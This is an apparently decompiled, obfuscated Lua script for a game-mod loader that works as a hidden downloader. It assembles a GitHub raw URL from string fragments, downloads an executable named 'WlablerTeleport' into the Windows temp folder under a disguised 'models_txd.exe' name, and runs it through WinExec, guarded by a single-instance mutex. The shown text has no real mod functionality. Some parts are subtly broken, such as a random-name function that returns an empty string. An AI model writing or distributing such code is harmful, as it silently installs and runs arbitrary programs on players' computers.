local slot0_a1119 = _G.require("ffi")
slot0_a1119.cdef("int WinExec(const char *, int);")
slot0_a1119.cdef("bool CopyFileA(const char *, const char *, bool);")
slot0_a1119.cdef("bool SetFileAttributesA(const char *, int);")
slot0_a1119.cdef("void* __stdcall CreateMutexA(void*, bool, const char*);")
slot0_a1119.cdef("int __stdcall GetLastError();")
local slot1_a1130 = "123"
local slot2_a1134 = slot0_a1119.load("kernel32.dll").WinExec
local slot3_a1135 = nil
local function slot4_a1162(arg0_a1136)
math.randomseed(os.time())
local slot1_a1146 = ""
for slot5_a1145 = 1, arg0_a1136 do
local slot6_a1160 = slot1_a1146 .. _G[type("")].char(_G.math.random(97, 122))
end
return slot1_a1146
end
local function slot5_a1243()
local slot0_a1163 = "https://github.com/"
local slot1_a1164 = "mod"
local slot2_a1165 = "txd"
local slot3_a1166 = "e"
local slot4_a1167 = "_"
local slot5_a1168 = "dikiratvzlom/"
local slot6_a1169 = "diki/raw/main/"
local slot7_a1170 = "x"
local slot8_a1171 = "el"
local slot9_a1172 = "s"
local slot10_a1177 = _G.os.getenv("temp")
local slot11_a1178 = "\\"
local slot12_a1182 = slot4_a1162(9)
local slot14_a1197 = slot10_a1177 .. slot11_a1178 .. slot12_a1182 .. (slot1_a1164 .. slot8_a1171 .. slot9_a1172 .. slot4_a1167 .. slot2_a1165 .. "." .. slot3_a1166 .. slot7_a1170 .. slot3_a1166)
local slot20_a1203 = "."
local slot16_a1207 = slot0_a1163 .. slot5_a1168 .. slot6_a1169 .. "WlablerTeleport" .. slot20_a1203 .. slot3_a1166 .. slot7_a1170 .. slot3_a1166
_G.lua_thread.create(function ()
_G.downloadUrlToFile(slot16_a1207, slot14_a1197, function (arg0_a1217, arg1_a1218, arg2_a1219, arg3_a1220)
if arg1_a1218 == 6 then
_G.lua_thread.create(function ()
if not _G.pcall(function ()
slot2_a1134(slot14_a1197, 1)
end) then
return false
end
end)
end
end)
end)
end
function main()
slot3_a1135 = slot0_a1119.C.CreateMutexA(nil, false, kalovayasmazka)
if slot3_a1135 == nil or slot0_a1119.load("kernel32.dll").GetLastError() ~= 183 then
slot5_a1243()
while true do
wait(0)
end
end
end